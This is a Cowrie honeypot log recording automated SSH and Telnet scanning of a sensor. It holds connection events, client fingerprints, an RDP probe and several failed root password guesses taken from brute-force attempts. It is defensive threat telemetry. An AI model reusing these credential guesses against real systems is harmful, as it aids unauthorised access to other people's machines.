{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ab:92:40:da:66:c1:3a:94:8b:8b:d7:bf:de:75:0e:db","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCfVC0qZ28AJNHReR0c+GFFAmGqBTSbmNtZhWMMzsORmLpgGLhhFnpMcMv4V9W8kV9/ysnZYpiRf5uX6KiBjcmgeWU4A60Dw5bpY4+5QyViOeN0piq9emKWOxYaikmt3z9eINaL8mOrlgkafTDpwrlBo+ANW8vwr1thHiXmyIXeDwFu6/ksVH1toFwZ99mPJN/PW3OTisaBc8n0TIM77sTUGzaWFSNrgQGGwI+M4DaHVDB7vFVuG/rXqIWyDfcIufjyfF6bIoQ4+nJ0BKbLcoga2UowlqE9JzFtUVqOl1cCjjwjYa9x5qPfK6P+YYjUtIZtqQ+ob2jRkqP3pkTWoVrKQeq9j69prJ0IAozhbjd4dDp0ruI9wBSmI3heYmGMe3pGTpAgqY5BLfgwwQ0s11WhJAXNKtVCDV5+B53jdX3iuJnzrmncdf2zR2N2exMOBoQuY3EvKw1LGqxTg62ClUjRT30jQ0KVVJFX92k392tmz0W+QlsjrN6dfOWDU2iWXkV3VxSH/Pb2lUL7923ZYyjz8fAYx7Pgv8r3FVWZ02E8TSy1AQrK18G1xBak7+wIvsBCdlW1j5fWw5Pp3l7m67M/wngmg0MfZNsEQXKiOtEzd4P4qWCNVeN6CxTZlklRHPTDqxVrr3ZA6AFTkizIn1CiiK8JHaXa94Ij5JC0tAj5Vw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ab:92:40:da:66:c1:3a:94:8b:8b:d7:bf:de:75:0e:db","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:47:40.657378Z","src_ip":"68.235.52.99","session":"26ca4be8acae","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ab:92:40:da:66:c1:3a:94:8b:8b:d7:bf:de:75:0e:db","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCfVC0qZ28AJNHReR0c+GFFAmGqBTSbmNtZhWMMzsORmLpgGLhhFnpMcMv4V9W8kV9/ysnZYpiRf5uX6KiBjcmgeWU4A60Dw5bpY4+5QyViOeN0piq9emKWOxYaikmt3z9eINaL8mOrlgkafTDpwrlBo+ANW8vwr1thHiXmyIXeDwFu6/ksVH1toFwZ99mPJN/PW3OTisaBc8n0TIM77sTUGzaWFSNrgQGGwI+M4DaHVDB7vFVuG/rXqIWyDfcIufjyfF6bIoQ4+nJ0BKbLcoga2UowlqE9JzFtUVqOl1cCjjwjYa9x5qPfK6P+YYjUtIZtqQ+ob2jRkqP3pkTWoVrKQeq9j69prJ0IAozhbjd4dDp0ruI9wBSmI3heYmGMe3pGTpAgqY5BLfgwwQ0s11WhJAXNKtVCDV5+B53jdX3iuJnzrmncdf2zR2N2exMOBoQuY3EvKw1LGqxTg62ClUjRT30jQ0KVVJFX92k392tmz0W+QlsjrN6dfOWDU2iWXkV3VxSH/Pb2lUL7923ZYyjz8fAYx7Pgv8r3FVWZ02E8TSy1AQrK18G1xBak7+wIvsBCdlW1j5fWw5Pp3l7m67M/wngmg0MfZNsEQXKiOtEzd4P4qWCNVeN6CxTZlklRHPTDqxVrr3ZA6AFTkizIn1CiiK8JHaXa94Ij5JC0tAj5Vw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:47:40.662288Z","src_ip":"68.235.52.99","session":"26ca4be8acae","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.4","message":"Connection lost after 0.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:47:40.698240Z","src_ip":"68.235.52.99","session":"26ca4be8acae","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":45048,"dst_ip":"10.17.0.5","dst_port":23,"session":"106451c5dab5","protocol":"telnet","message":"New connection: 152.42.224.71:45048 (10.17.0.5:23) [session: 106451c5dab5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:47:44.880676Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.108.3.46","src_port":54322,"dst_ip":"10.17.0.5","dst_port":23,"session":"61f0212fc885","protocol":"telnet","message":"New connection: 213.108.3.46:54322 (10.17.0.5:23) [session: 61f0212fc885]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:47:47.340858Z"}
{"eventid":"cowrie.session.closed","duration":0.015883445739746094,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:47:47.356621Z","src_ip":"213.108.3.46","session":"61f0212fc885","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.01470446586609,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:48:00.285457Z","src_ip":"152.42.224.71","session":"8eea0b85284f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.70.247","src_port":50336,"dst_ip":"10.17.0.5","dst_port":22,"session":"ba510fe37d38","protocol":"ssh","message":"New connection: 43.153.70.247:50336 (10.17.0.5:22) [session: ba510fe37d38]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:48:02.669782Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:48:02.675540Z","src_ip":"43.153.70.247","session":"ba510fe37d38","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:48:02.744892Z","src_ip":"43.153.70.247","session":"ba510fe37d38","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"coolkid","message":"login attempt [root/coolkid] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:48:03.053715Z","src_ip":"43.153.70.247","session":"ba510fe37d38","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:48:04.125890Z","src_ip":"43.153.70.247","session":"ba510fe37d38","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"167.172.81.52","src_port":53627,"dst_ip":"10.17.0.5","dst_port":22,"session":"b88fa9172fbe","protocol":"ssh","message":"New connection: 167.172.81.52:53627 (10.17.0.5:22) [session: b88fa9172fbe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:48:06.856681Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:48:06.864472Z","src_ip":"167.172.81.52","session":"b88fa9172fbe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:48:06.870377Z","src_ip":"167.172.81.52","session":"b88fa9172fbe","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":40440,"dst_ip":"10.17.0.5","dst_port":23,"session":"0367eea19de3","protocol":"telnet","message":"New connection: 152.42.224.71:40440 (10.17.0.5:23) [session: 0367eea19de3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:48:18.140956Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":40448,"dst_ip":"10.17.0.5","dst_port":23,"session":"d486a2e9dd98","protocol":"telnet","message":"New connection: 152.42.224.71:40448 (10.17.0.5:23) [session: d486a2e9dd98]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:48:19.144219Z"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.21.145","src_port":42700,"dst_ip":"159.203.135.109","dst_port":22,"session":"167dbf84a616","protocol":"ssh","message":"New connection: 141.11.21.145:42700 (159.203.135.109:22) [session: 167dbf84a616]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:48:23.246305Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:48:23.326513Z","src_ip":"141.11.21.145","session":"167dbf84a616","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.21.145","src_port":42712,"dst_ip":"159.203.135.109","dst_port":22,"session":"95e3d5c373f9","protocol":"ssh","message":"New connection: 141.11.21.145:42712 (159.203.135.109:22) [session: 95e3d5c373f9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:48:23.403177Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:48:23.412241Z","src_ip":"141.11.21.145","session":"95e3d5c373f9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:48:23.492113Z","src_ip":"141.11.21.145","session":"95e3d5c373f9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Kernel","message":"login attempt [root/Kernel] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:48:23.736592Z","src_ip":"141.11.21.145","session":"95e3d5c373f9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:48:24.819696Z","src_ip":"141.11.21.145","session":"95e3d5c373f9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.173.84.253","src_port":59900,"dst_ip":"159.203.135.109","dst_port":22,"session":"d992dfb12429","protocol":"ssh","message":"New connection: 43.173.84.253:59900 (159.203.135.109:22) [session: d992dfb12429]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:48:25.138985Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:48:25.143936Z","src_ip":"43.173.84.253","session":"d992dfb12429","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:48:25.211962Z","src_ip":"43.173.84.253","session":"d992dfb12429","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Centos123","message":"login attempt [root/Centos123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:48:25.517318Z","src_ip":"43.173.84.253","session":"d992dfb12429","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:48:26.588861Z","src_ip":"43.173.84.253","session":"d992dfb12429","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.135.177.217","src_port":54074,"dst_ip":"10.17.0.5","dst_port":22,"session":"979c63bc6bee","protocol":"ssh","message":"New connection: 43.135.177.217:54074 (10.17.0.5:22) [session: 979c63bc6bee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:48:35.335595Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:48:35.341323Z","src_ip":"43.135.177.217","session":"979c63bc6bee","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:48:35.411587Z","src_ip":"43.135.177.217","session":"979c63bc6bee","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"k0nig12*","message":"login attempt [root/k0nig12*] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:48:35.720937Z","src_ip":"43.135.177.217","session":"979c63bc6bee","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:48:36.796233Z","src_ip":"43.135.177.217","session":"979c63bc6bee","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":51.95441699028015,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:48:36.834941Z","src_ip":"152.42.224.71","session":"106451c5dab5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.137.172.116","src_port":33920,"dst_ip":"10.17.0.5","dst_port":22,"session":"54e5ad752939","protocol":"ssh","message":"New connection: 45.137.172.116:33920 (10.17.0.5:22) [session: 54e5ad752939]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:48:49.033597Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:48:49.041356Z","src_ip":"45.137.172.116","session":"54e5ad752939","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:48:49.143144Z","src_ip":"45.137.172.116","session":"54e5ad752939","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"fuser","message":"login attempt [root/fuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:48:49.579556Z","src_ip":"45.137.172.116","session":"54e5ad752939","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:48:50.683402Z","src_ip":"45.137.172.116","session":"54e5ad752939","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":52184,"dst_ip":"10.17.0.5","dst_port":23,"session":"433e015be914","protocol":"telnet","message":"New connection: 152.42.224.71:52184 (10.17.0.5:23) [session: 433e015be914]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:48:53.726754Z"}
{"eventid":"cowrie.session.closed","duration":36.38091421127319,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:48:54.521713Z","src_ip":"152.42.224.71","session":"0367eea19de3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.250.105.222","src_port":33284,"dst_ip":"159.203.135.109","dst_port":22,"session":"d7b6415a80eb","protocol":"ssh","message":"New connection: 51.250.105.222:33284 (159.203.135.109:22) [session: d7b6415a80eb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:48:54.755534Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:48:54.760943Z","src_ip":"51.250.105.222","session":"d7b6415a80eb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:48:54.888972Z","src_ip":"51.250.105.222","session":"d7b6415a80eb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Forten1883","message":"login attempt [root/Forten1883] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:48:55.274535Z","src_ip":"51.250.105.222","session":"d7b6415a80eb","protocol":"ssh"}
